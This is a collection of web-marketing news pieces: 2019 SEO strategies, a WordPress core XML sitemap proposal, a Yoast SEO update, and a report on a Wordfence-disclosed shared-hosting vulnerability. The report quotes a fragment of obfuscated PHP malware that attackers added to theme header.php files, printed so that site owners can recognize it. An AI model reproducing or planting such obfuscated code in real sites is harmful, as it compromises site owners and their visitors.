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Top 8 Essential Website Optimization Strategies for 2019

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In the good old days (circa 2009), Google supposedly only used about 200 ranking factors to determine the SERPs.

A lot has changed in the past 10 years.

But one thing that hasn’t?

You don’t need to sweat every ranking factor.

Some variables carry much more weight than others.

If you just focus on the essentials, you can still crush it in 2019. This post will delve into what those factors are and what is involved to optimize for each.

1. Mobile-First

Google officially began rolling out the mobile-first index in March. Smart marketers were taking a mobile-first approach long before the official rollout.

According to Google’s Danny Sullivan:

“Neither mobile-friendliness nor a mobile-responsive layout are requirements for mobile-first indexing. Pages without mobile versions still work on mobile, and are usable for indexing. That said, it’s about time to move from desktop-only and embrace mobile :)”

Here are some basics for making your site mobile-friendly:

  • Make your site adaptive to any device; be it desktop, mobile or tablet.
  • Always scale your images when using a responsive design, especially for mobile users.
  • Use short meta titles. They are easier to read on mobile devices.
  • Avoid pop-ups that cover your content and prevent visitors from getting a glimpse of what your content is all about.
  • Less can be more on mobile. In a mobile-first world, long-form content doesn’t necessarily equate to more traffic and better rankings.
  • Don’t use mobile as an excuse for cloaking. Users and spiders need to see the same content.

Top 8 Essential Website Optimization Strategies for 2019

2. Technical SEO

Some find the idea of performing technical SEO to be intimidating.

Thanks to the many SEO tools available, an SEO audit is no longer a daunting task.

The key, however, is to know how to interpret the data provided and what to do with it.

For starters, you should check the following:

3. Website Speed

Page speed has a direct impact on both traffic and conversions.

According to Google, “the average time it takes to fully load a mobile landing page is 22 seconds… yet 53 percent of mobile site visitors leave a page that takes longer than three seconds to load.”

Slow page speed creates a poor user experience, which is why Google takes page speed into consideration as a ranking factor.

Best practices for optimizing page speed include:

  • Minimize HTTP requests for the different parts of the page, like scripts, images, and CSS.
  • Reduce file size by compressing them and combine common files to reduce requests.
  • Have both CSS and JavaScript load simultaneously.
  • Make JavaScript load after important files have.
  • Reduce DNS lookup time.
  • Improve server response time.
  • Use an appropriate hosting solution.
  • Leverage browser caching.
  • Minimize image sizes.
  • Use a CDN.
  • Keep plugins to a minimum.
  • Keep redirects to a minimum.

4. User Intent

Writing “great content,” optimizing it, and getting trusted links is now just the start for ranking a keyword.

As machine learning and artificial intelligence continue to evolve, each will carry more weight in Google’s core algorithm.

The ultimate goal for Google is to understand context and serve results based on searcher intent.

This makes advanced level keyword research and selection more important than ever.

For starters, you need to recognize there are some keywords and queries that will be impossible to rank for.

A keyword’s contextual relevance must align with a search query.

Before spending time and resources trying to rank for a phrase, you need to look at the current ranking websites and phrases.

Unless your website and landing page are similar to what is ranking, chances are it won’t happen.

Take the query [albany new york personal injury lawyer] for example:

Top 8 Essential Website Optimization Strategies for 2019

At one time, this query resulted in a series of independent lawyers and law firms appearing at the top of the search results.

That’s changed.

Google is now giving preference to law directories:

sample serps

In this instance, because there is still a chance to rank in Google maps, it’s still worth pursuing this phrase. If not for that opportunity it would be a waste of time.

Google appears to have concluded that searcher intent is to find a series of lawyers or firms – not just one.

5. Content Marketing

It is projected that by 2020, 44 zettabytes of data will be produced every day.

To put this in perspective, that’s the equivalent of 8.48 trillion songs or 1,440 years of HD video every day.

The challenge to break through the clutter will become exponentially more difficult as time passes.

In order to do so:

  • Create a content hub in the form of a resource center.
  • Fill your resource hub with a combination of useful, informative, and entertaining content.
  • Write “spoke” pieces related to your resource hub and interlink.
  • Write news articles related to your resource and interlink.
  • Spread the word – promote your news articles on social channels.
  • Hijack trending topics related to your content – promote on social media.
  • Use your smartphone camera. Images and videos typically convert better than text alone.
  • Update stale and low trafficked content.

6. Schema

Schema markup, once added to a webpage, creates a “rich snippet” – an enhanced description which appears in the search results.

All of the leading search engines, including Google, Yahoo, Bing, and Yandex, support the use of microdata.

The real value in schema is that it can provide context to a webpage and improve the search experience.

There is no evidence that adding schema has any influence on SERPs.

What Is Schema Used For?

If you find the thought of adding schema to a page intimidating, you shouldn’t.

Schema is actually quite simple to implement.

If you have a WordPress site, there are a number of plugins that will do this for you.

7. User Experience

User experience (UX) is centered on gaining insight into users, their needs, their values, their abilities, and their limitations.

UX also takes into consideration business goals and objectives.

Best UX practices focus on improving the quality of the user experience.

According to Peter Morville, factors that influence UX include:

  • Useful: Your content needs to be unique and satisfy a need.
  • Usable: Your website needs to be easy to use and navigate.
  • Desirable: Your design elements and brand should evoke emotion and appreciation.
  • Findable: Integrate design and navigation elements to make it easy for users to find what they need.
  • Accessible: Content needs to be accessible to everyone – including the 10 percent of the population with disabilities.
  • Credible: Your site needs to be trustworthy in order for users to believe you.
  • Valuable: Your site needs to provide value to the user in terms of experience and to the company in terms of positive ROI.

8. Link Building

Links have been among the top ranking factors for quite some time now.

In 2019, what I think will change is that Google will become even more adept at identifying and devaluing spammy links.

That being the case, quality will continue to trump quantity.

The Best Link Building Strategies for 2019

Conclusion

The mounds of information and disinformation served up daily in various marketing feeds can be overwhelming.

If you aren’t careful it can lead to analysis paralysis and nothing gets done.

That said, if you just focus on these eight essentials you will set yourself up for success in 2019 and beyond.

More Resources:


Image Credits

In-Post Photo: MichaelGaida / Pixabay
Screenshots taken by author, November 2018

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Yoast, Google devs propose XML Sitemaps for WordPress Core

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Yoast, Google devs propose XML Sitemaps for WordPress Core


The inclusion of XML Sitemaps as a WordPress Core feature has been proposed by a group of Yoast and Google team members as well as other contributors. In addition to a basic XML Sitemap, the proposal also introduces an XML Sitemaps API that would extend functionality for developers and webmasters.

The proposed XML Sitemaps structure. Image sourced from Make WordPress Core.

What it’ll include. The proposal states that XML Sitemaps will be enabled by default, allowing for indexing of the following content types:

  • Homepage
.
  • Posts page
.
  • Core post types (Pages and Posts)
.
  • Custom post types
.
  • Core taxonomies (Tags and Categories)
.
  • Custom taxonomies
.
  • Users (Authors)
.

It’s worth keeping in mind that your WordPress site’s automatically generated robots.txt file will also reference your sitemap index.

What it won’t include. Although the proposed feature will include the majority of WordPress content types and meet search engine minimum requirements, the initial integration will not cover image, video or news sitemaps, XML Sitemaps caching mechanisms or user-facing changes such as UI controls that exclude individual posts or pages from the sitemap.

The XML Sitemaps API. Here’s how the API will let you manipulate your XML Sitemaps:

  • Provide a custom XML Stylesheet
.
  • Add extra sitemaps and sitemap entries
.
  • Add extra attributes to sitemap entries
.
  • Exclude a specific post, post type, taxonomy or term from the sitemap
.
  • Exclude a specific author from the sitemap
.
  • Exclude specific authors with a specific role from the sitemap
.

Why we should care. Sitemaps facilitate indexing by providing web crawlers with your site’s URLs. If implemented, this might mean one less third-party plugin that brands and webmasters have to rely on for their SEO efforts. As a WordPress Core feature, we can expect wider compatibility and support than we might get from third-party solutions.

Poorly optimized plugins can also slow down your site, which can have a negative impact on your organic traffic. This default option from WordPress may not replace plugins like Yoast SEO because they often include other features in addition to XML Sitemaps, but its availability has the potential to provide us with more flexibility over which plugins we install.


About The Author

George Nguyen is an Associate Editor at Third Door Media. His background is in content marketing, journalism, and storytelling.

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Yoast SEO 11.4 adds FAQ structured data, UX improvements

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Yoast SEO 11.4 adds FAQ structured data, UX improvements


Yoast SEO’s latest update enhances its FAQ blocks by automatically generating structured data to accompany questions and answers. The update also introduces some UX improvements and addresses issues with AMP pages when viewed in Reader mode.

How to use it. Yoast’s FAQ structured data implementation is only compatible with the WordPress block editor (also known as Gutenberg; available on versions 5.0 and newer). Webmasters can get started by selecting the FAQ block, adding a question, inputting the answer and an image (if applicable) and repeating the process for all frequently asked questions.

The Yoast FAQ block.

The corresponding FAQpage structured data will be generated in the background and added to Yoast’s structured data graph, which may help search engines identify your FAQ page and figure out how it fits into the overall scheme of your site.

A new action and filter were also introduced to make this integration more flexible. The wpseo_pre-schema_block-type_<block-type> lets you adjust the graph output based the blocks on the page and the wpseo_schema_block_<block-type> filter enables you to filter graph output on a per-block basis.

Other improvements. Yoast has also linked the SEO and readability scores in the Classic Editor and relocated the Focus keyphrase field to the top of meta box and sidebar to make it easier to find. And, they’ve resolved issues with AMP pages when viewed in Reader mode.

Why we should care. At this year’s I/O conference, Google announced support for FAQ markup, which may mean that searchers will be presented with FAQs as rich results more frequently. Being able to easily and efficiently equip our FAQ sections with structured data can yield better odds of earning prominent placement on SERPs.

For more on Yoast’s structured data implementation, check out our coverage on their 11.0 (general schema implementation), 11.1 (image and video), 11.2 (custom schema) and 11.3 (image and avatar) updates.


About The Author

George Nguyen is an Associate Editor at Third Door Media. His background is in content marketing, journalism, and storytelling.

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Web Host Vulnerability Discovered at iPage, FatCow, PowWeb, and NetFirm

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Web Host Vulnerability Discovered at iPage, FatCow, PowWeb, and NetFirm


WordFence announced that they had discovered a vulnerability at four hosting companies. WordFence warns that while the vulnerability was patched, it’s possible sites were hacked prior to the fix.

Server settings allowed hackers to create WordPress administrator accounts from which the sites could be exploited with rogue code added to the WordPress theme.

WordFence urged site administrators to check their sites for rogue administrator accounts if they are hosted on iPage, FatCow, PowWeb, or NetFirm. All four are owned by the same company, Endurance International Group.

What Was the Server Vulnerability?

The affected servers had permission and file settings that allowed an attacker to view sensitive files. Other vulnerabilities allowed the attackers to access the database, add themselves as an administrators then take over the site.

This is how WordFence described the vulnerability:

“Four conditions existed that contributed to this vulnerability:

1. Customer files are all stored on a shared file system.

2. The full path to a user’s web root directory was public or could be guessed.

3. All directories in the path to a customer’s site root directory were either world-traversable (the execute bit for ‘all users’ is 1) or group-traversable (the execute bit for ‘group’ is 1), and the sensitive files were world-readable (the read bit for ‘all users’ is 1) or group-readable (the read bit for ‘group’ is 1).

4. An attacker could cause a program running in the group www to read files in arbitrary locations.”

Sites Could be Infected

WordFence warned that there was a period of time before the vulnerability was fixed during which sites hosted on these four host providers could have been infected.

It is recommended that site owners check their user lists to make sure there are no unauthorized administrators. If your site has been affected, then there should be rogue code that was added to the theme.

Here is how WordFence described the rogue code:

“If your site was exploited before the fixes, the attackers may have added malware which could still be present. Our customers had obfuscated code added at the top of the active theme’s header.php file, similar to this:

<?php ${“x47x4cx4fx42x41x4cx53”}[“ddx70x68zx67x64gx”]=”slx77kx77i”;${“x47x4cOx42x41Lx53”}[“cx7ax66x6dubkdox6ax78″]=”x6cx6fx63x61tx69x6fn”;${“x47x4cx4fBx41LS”}[“x67x64x64ex74x62px75fx65i”]=”x68tx6dx6c”;${“x47x4cOBx41x4cS”}[“x77ix64x68x6bvx6da”]=”x73tx72x66″;${“x47x4cx4fx42x41x4cx53”}[“x66sx75x71x79x6evw”]=”bx6fx74″;${“x47x4cOBALx53”}[“wx6cx79x63x61x76x62x71x68x6fx6cx75″]=”cacx68x65”;${“Gx4cOx42x41Lx53”}[“ryx68x72kux6b”]=”x73x63hx65x6dx65″;${“x47x4cx4fx42x41Lx53”}[“x74x6ax6bcx64ex65x69w”]=”x73lx77kx77ix32″;${“Gx4cOBAx4cS”}[“x79x65x64x73x67x6ahx69x73x67″]=”x73x6cx74lx65x69lx73″;”

Vulnerability Has Been Fixed

WordFence disclosed the vulnerability to the hosting companies before making a public announcement. The hosting companies promptly fixed the vulnerabilities.

Nevertheless, according to the guidance offered by WordFence, you may wish to check your user lists for rogue admin level accounts and review your header.php file for rogue code.

Read the entire announcement at the WordFence blog

Images by Shutterstock, Modified by Author



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